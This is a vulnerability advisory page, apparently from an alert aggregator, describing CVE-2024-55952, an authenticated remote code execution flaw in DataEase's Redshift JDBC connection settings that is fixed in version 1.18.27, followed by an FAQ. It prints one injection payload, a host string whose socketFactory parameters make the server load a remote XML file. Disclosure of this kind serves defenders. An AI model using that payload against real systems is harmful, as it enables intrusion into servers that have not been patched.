CVE-2024-55952: Dataease Redshift Data Source JDBC Connection Parameters Not Verified Leads to RCE Vulnerability
First published: Wed Dec 18 2024(Updated: )
DataEase is an open source business analytics tool. Authenticated users can remotely execute code through the backend JDBC connection. When constructing the jdbc connection string, the parameters are not filtered. Constructing the host as ip:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://ip:5432/1.xml&a= can trigger the ClassPathXmlApplicationContext construction method. The vulnerability has been fixed in v1.18.27. Users are advised to upgrade. There are no known workarounds for this vulnerability.
Credit: security-advisories@github.com
| Affected Software | Affected Version | How to fix |
|---|---|---|
| Dataease | <1.18.27 | |
| Dataease | <1.18.27 |
Never miss a vulnerability like this again
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.
Reference Links
Frequently Asked Questions
What is the severity of CVE-2024-55952?
CVE-2024-55952 has a high severity due to the potential for remote code execution by authenticated users.
How do I fix CVE-2024-55952?
Fix CVE-2024-55952 by updating DataEase to the latest version beyond 1.18.27 or implementing input validation for JDBC connection parameters.
Who is affected by CVE-2024-55952?
Users of DataEase versions prior to 1.18.27 are affected by CVE-2024-55952.
What type of vulnerability is CVE-2024-55952?
CVE-2024-55952 is a remote code execution vulnerability.
Can CVE-2024-55952 be exploited without authentication?
No, CVE-2024-55952 requires authenticated access to exploit the vulnerability.
- agent/weakness
- agent/title
- agent/references
- agent/first-publish-date
- agent/type
- agent/description
- agent/author
- collector/mitre-cve
- source/MITRE
- agent/trending
- agent/source
- agent/severity
- agent/remedy
- agent/last-modified-date
- agent/event
- agent/tags
- agent/softwarecombine
- agent/guess-ai
- agent/software-canonical-lookup
- agent/software-canonical-lookup-request
- collector/nvd-api
- source/NVD
- vendor/dataease
- canonical/dataease